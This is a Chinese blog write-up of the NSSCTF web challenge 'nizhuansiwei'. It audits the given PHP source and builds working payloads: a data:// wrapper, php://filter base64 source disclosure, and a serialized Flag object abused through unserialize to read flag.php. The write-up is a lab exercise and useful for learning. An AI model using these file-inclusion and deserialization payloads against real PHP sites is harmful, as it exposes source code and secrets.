首页 > 其他分享 >NSSCTF WEB nizhuansiwei

NSSCTF WEB nizhuansiwei

时间:2024-08-14 18:26:43浏览次数:4  
标签:WEB password 读取 text nizhuansiwei useless file php NSSCTF

进入题目页面,先看一眼标签,发现本题的标签是反序列化,php伪协议。这些标签是做过题的人共同选出来的,所以具有一定参考价值

进入到题目地址,发现是一段php源码,源码都给了,那当然是先来一手代码审计。

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //对GET获取的变量text进行检验,值为welcome to the zjctf则进行下一步判定

echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){ echo "Not now!";  //对flie内容进行过滤,不允许file的内容出现flag
exit(); }
else{ include($file); //useless.php  //这里给出了一个php文件的名称,可以给file传这个内容,看看会出现什么
$password = unserialize($password); //对获取到的password内容进行反序列化

echo $password; }
} else{ highlight_file(__FILE__); }
?>

 

file_get_contents:将整个文件读入到一个字符串中。使用该函数可以读取本地的文件、远程文件和 HTTP 请求的响应等内容。
语法:file_get_contents(path,include_path,context,start,max_length)
其中各个参数的意思以及是否必需输入
 
参数描述
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。
 

 

 

 

 

 

 

 

preg_match:将给到的函数与所给的内容进行匹配,匹配成功返回1,未匹配则返回0

本题就是通过对flag进行匹配,来对GET的内容进行过滤

unserialize:将所给的值进行反序列化

 

根据上面获得的信息,我们可以知道,需要给text传递的值为"welcome to the zjctf",我们先传一下试试,看会有什么回显。这里我们用data来传输数据。

playload:/?text=data://text/plain,welcome to the zictf

 

 

 

 

 

 

 

 

 

 

 

发现存在回显,说明我们方向正确,继续输入flie的参数useless.php来读取useless.php的内容直接传输file=useless.php发现页面变化,说明直接传值无法读取该文件内容,那我们使用php://filter来进行读取并对读取文件名进行base64编码。

playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

 发现下面出现了一串编码,放进bp的编码工具,进行解码获得下面代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

到这基本就没什么了,就是对这段代码进行序列化。序列化代码如下:

<?php

class Flag{  //flag.php
    public $file;  }
$a = new Flag();
$a->file = 'flag.php';
$b=urlencode(serialize($a));
echo $b;

执行代码之后将内容传给password就行了,要注意的是,这段代码是在useless.php界面下的,所以最终的playload也应该在这个界面,所以flie的值就直接传useless.php

最终playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

然后就获得本题的flag了

 

 

 

标签:WEB,password,读取,text,nizhuansiwei,useless,file,php,NSSCTF
From: https://www.cnblogs.com/karasbai/p/18359552

相关文章

  • 【WEB系列】快速识别目标站点:Windows Linux服务器探秘
    一、利用大小写敏感性差异二、分析HTTP响应头信息三、利用系统命令探测四、分析网页内容和脚本五、总结在网络安全工作中,快速判断目标站点的操作系统类型至关重要,这可以帮助安全人员制定针对性的攻击策略或防御措施。传统的方法依赖于端口扫描、指纹识别等工具,但这些方法......
  • Linux Web项目部署过程命令 Tomcat组件
    LinuxWeb项目部署过程命令Tomcat,本文涉及的是打成jar包方式的前后端分离项目,打成war包的方式也有解释介绍。1.连接服务器2.利用lsof命令查看web后端部署端口进程,然后kill杀死进程,                            ......
  • 使用Django-Channels实现websocket通信+大模型对话
    前言最近一直在做这个大模型项目,我选了Django作为框架(现在很多大模型应用都用的FastAPI,不过我已经用习惯Django了)之前使用AspNetCore作为后端的时候,我先后尝试了BlazorServer,WebAPISSE(ServerSentEvent)等方案来实现大模型对话,目前好像SSE是用得比较多的,ChatGPT也......
  • JAVA毕业设计|(免费)ssm基于web的经典电影推荐网站的包含文档代码讲解
    收藏点赞不迷路 关注作者有好处编号:ssm504ssm基于web的经典电影推荐网站的开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat、Maven1.系统展示2.万字文档展示第5章系统详细设计这个环节需要使用前面的设计方案,包括对系统模块......
  • 毕业设计|ssm基于web的经典电影推荐网站的|免费|代码讲解
    收藏点赞不迷路 关注作者有好处编号:ssm504ssm基于web的经典电影推荐网站的开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat、Maven文末获取源码(免费|领源码)1.系统展示2.万字文档展示第5章系统详细设计这个环节需要使用前......
  • 毕业设计|ssm基于java web的商铺租赁管理系统的jsp|免费|代码讲解
    收藏点赞不迷路 关注作者有好处编号:ssm405ssm基于javaweb的商铺租赁管理系统的jsp开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat、Maven文末获取源码(免费领源码)1.系统展示2.万字文档展示第5章系统详细设计这个环节需要使......
  • Robyn与FastAPI全面对比:选择最适合你的Python Web框架
    引言1.1背景介绍在当今的软件开发领域,选择合适的Web框架对于项目的成功至关重要。Python作为一种广泛使用的编程语言,其生态系统中涌现出了众多优秀的Web框架,如FastAPI和Robyn。FastAPI自发布以来,因其高性能、易用性和自动生成API文档的特性,迅速成为开发者的首选。而Robyn......
  • JavaWeb登录实现验证码功能
    1、新建两个工具类importjava.util.Arrays;publicclassCreateVerificationCode{/***验证码难度级别*/publicenumSecurityCodeLevel{Simple,Medium,Hard}publicstaticStringgetSecurityCode(){......
  • Java面试题(Java Web)
    目录1.JSP有哪些内置对象?作用分别是什么?2.说一下JSP的4种作用域?3.session和cookie有什么区别?4.说一下session的工作原理?5.如果客户端禁止cookie能实现session还能用吗?6.如何避免SQL注入?7.什么是XSS攻击,如何避免?8.什么是CSRF攻击,如何避免?......
  • 一个Web服务器及python作web开发的框架:Tornado 托内科及python提示报错:ImportError:
    一、一个Web服务器及python作web开发的框架:Tornado托内科    tornado,是使用Python编写的一个强大的、可扩展的Web服务器及Python作web开发框架。网上说Tornado和现在的主流Web服务器框架(包括大多数Python的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。得利......